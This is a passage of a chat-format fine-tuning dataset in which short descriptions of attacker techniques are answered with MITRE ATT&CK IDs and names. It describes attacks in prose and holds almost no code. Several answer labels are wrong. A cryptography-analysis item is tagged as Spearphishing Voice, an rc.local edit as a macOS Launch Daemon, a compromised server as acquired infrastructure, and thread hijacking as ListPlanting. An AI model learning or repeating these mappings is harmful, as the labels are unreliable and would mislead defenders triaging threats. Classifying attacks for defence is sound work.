                "content": "Using a man‑in‑the‑browser technique, the attacker modified the web portal’s DOM to log each keystroke entered into the password field."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a hijacked Slack workspace to distribute a malicious .zip file disguised as a project report."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses /proc/self/environ to gather environment variables that contain embedded credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen KRBTGT hash, the attacker generates a valid Kerberos ticket for a specific service, allowing authentication to that service without requiring a Ticket Granting Ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a compromised SaaS application’s API to send exfiltrated files via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence technique involves creating an Outlook rule that executes a malicious macro from an attachment each time the rule criteria are met."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Windows Management Instrumentation to listen for registry key modifications and run a malicious executable in response."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware program leverages ICMP echo request packets to exfiltrate data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script called the IBM Cloud Resource Controller API to enumerate resource groups and their associated services."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks an active Remote Desktop Protocol (RDP) session to run malicious commands on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses a DGA that incorporates the victim’s IP address to compute the domain, then resolves it."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool encodes harvested password hashes with a proprietary base‑91 scheme before sending them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module enumerates all peripheral devices, revealing connected smart cards and RFID readers to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan enumerates all files in the user's Documents folder and compresses any PDFs and spreadsheets before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a kernel extension, the malware patches the Gatekeeper verification routine to always return success."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the iptables rules on a Linux server to allow all inbound traffic, effectively disabling the host firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies its own import table to hide the IsDebuggerPresent function call from static analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The botnet employs a fallback mechanism that uses DNS TXT records to transmit commands when the main C2 domain is blacklisted."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware configures a multi‑hop proxy cascade, using compromised web servers as successive relays to route its communication through at least two proxy layers before reaching the command server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used a batch script to replace the internal site’s CSS with a defaced stylesheet."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a drive‑by attack by embedding malicious code in a third‑party analytics script."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file stealer writes exfiltrated files to a publicly accessible SMB share that does not require encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors stage exfiltrated data by copying it into a temporary folder on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a hidden login item in /Applications/Utilities/ which is added to the user's Login Items list via the LSSharedFileListInsertItemURL API, ensuring persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a local privilege escalation to read the securityd memory region and exfiltrate credential data."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence via adding a new entry to the AppInit_DLLs registry value."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs direct volume access to dump the master boot record and subsequent sectors for analysis."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a memcached amplification technique, sending forged requests that caused servers to amplify responses toward the victim."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use SSH tunneling to forward malicious traffic through an encrypted channel, making network monitoring difficult."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executed a malicious DLL by invoking rundll32.exe with the command \"rundll32.exe malicious.dll,EntryPoint\" to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a transaction, writes a malicious payload to a temporary file, and then rolls back the transaction, causing the system to load the malicious code via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies /etc/rc.d/rc.local to spawn a background process on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary registers a malicious DLL as an AppCert DLL and triggers it via a scheduled task to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder parses the Kubernetes ConfigMap objects via the API to find configuration data related to containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Windows Registry for Outlook profile paths, then reads the .pst files directly to retrieve email data."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a script that disables Authenticode verification on Windows."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses port 12345 for C2 communications, a port not listed in the organization's allowed services."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a Caesar‑ciphered script, which is later decoded by the malicious program before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access through an unpatched vulnerability, an adversary conducts lateral movement by manipulating local accounts and utilizing network Shares."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged the IIS URL Rewrite module to redirect victim traffic to a malicious server hosting a phishing page."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a RTL override mark to the prefix of a scheduled task name, making the malicious task appear innocuous in the task scheduler UI."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieved email attachments saved in the local Maildir folder of a compromised Linux system."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool writes a malicious PE image into the memory of a trusted Windows service and initiates execution through thread hijacking."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is staged by copying a trojanized DLL into the target's temporary directory via SMB."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting firmware rollback protection flaws, the attacker downgrades the device's firmware to a version with known exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using cryptography analysis to identify weak or compromised encryption algorithms."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the \"win32_process\" WMI class to terminate security software processes before deploying the payload."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the sshd_config file to add a hidden authorized key for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses encrypted VNC tunnels to exfiltrate data while maintaining a covert foothold."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used the 'dpkg -l' command on a compromised Linux host to collect information about installed packages."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a vulnerable SQL database exposed on the intranet to extract tables storing credential information."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed their malicious traffic within a legitimate encrypted HTTPS session to blend in with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised university server to hide command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a specially crafted payload to a web server that causes the server process to consume all memory, leading to a crash."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an internal network breach, the adversary sets up a counterfeit DHCP service that assigns IP addresses with a gateway pointing to the attacker's machine."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting a malicious DLL into the network provider stack, the attacker alters authentication data passed to the OS."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised software abuses the PubPrn script proxy to execute a malicious command line tool each time a printer is accessed."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a DNS resolver to fetch the IP of a malicious site that is only registered shortly before the attack."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a remote service execution using SMB/Windows Admin Shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement is observed when an attacker uses legitimate administrative tools to move from one system to another without detection, exploiting trust in these tools."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious PowerShell code within a seemingly benign Office macro, using string concatenation to conceal the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exfiltrates victim email accounts by exporting the mailbox contents to a PST file using Microsoft Outlook's export function."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts role-based information from the victim’s HR portal to understand who can approve transactions."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack legitimate traffic control devices to issue false stop signals, causing vehicles to halt unexpectedly."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan updates the 'ProxyEnable' and 'ProxyServer' values in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings to redirect network traffic."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a recovered service account password, the attacker forges Kerberos tickets to gain unauthorized access to a file share."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor edits the SSH authorized_keys file to include their own key, enabling stealthy remote login."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clear persistence mechanisms by deleting services and startup shortcuts that were created during the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit rewrites the macOS loginwindow binary, enabling the attacker to log in without providing a password."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends forged UDP packets with the victim's IP address to public NTP servers, causing them to reply with amplified time synchronization data that overwhelms the target's network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a ransomware attack to encrypt data on compromised systems, demanding payment in exchange for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor parses the output of 'dpkg -l' on a Debian system to identify installed packages."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised browser extension modifies HTTP headers to redirect traffic to a malicious proxy."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script creates counterfeit security warnings in the organization's security portal, diverting attention from real incidents."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code queries the victim's DNS cache and DHCP lease tables to gather network configuration details."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint invokes the Windows \"cipher /w\" utility to overwrite free space and all existing files on the drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a PowerShell script that leverages the Microsoft Graph API to pull emails from Office 365 accounts without user interaction."
            },
            {
